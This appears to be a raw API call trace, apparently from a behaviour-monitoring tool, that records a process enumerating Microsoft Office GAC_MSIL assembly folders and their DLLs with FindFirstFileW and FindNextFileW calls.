	[0078.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0630
	[0078.763] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.763] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1
	[0078.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0078.764] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.764] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.764] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.764] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.764] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0
	[0078.764] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0078.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.764] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1
	[0078.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0570
	[0078.765] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.765] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1
	[0078.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0078.765] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.765] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.765] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.765] FindClose (in: hFindFile=0x5e09b0 | out: hFindFile=0x5e09b0) returned 1
	[0078.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.766] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0078.766] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0078.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.766] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1
	[0078.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09f0
	[0078.768] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.768] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1
	[0078.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0078.769] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.769] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessapplications.diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.769] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessapplications.diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.769] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.769] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0078.769] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0078.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.769] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1
	[0078.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0530
	[0078.770] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.770] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1
	[0078.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0078.770] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.771] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.771] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.771] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.771] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0078.771] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0078.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.771] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1
	[0078.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e08f0
	[0078.771] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.772] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1
	[0078.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e02f0
	[0078.772] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
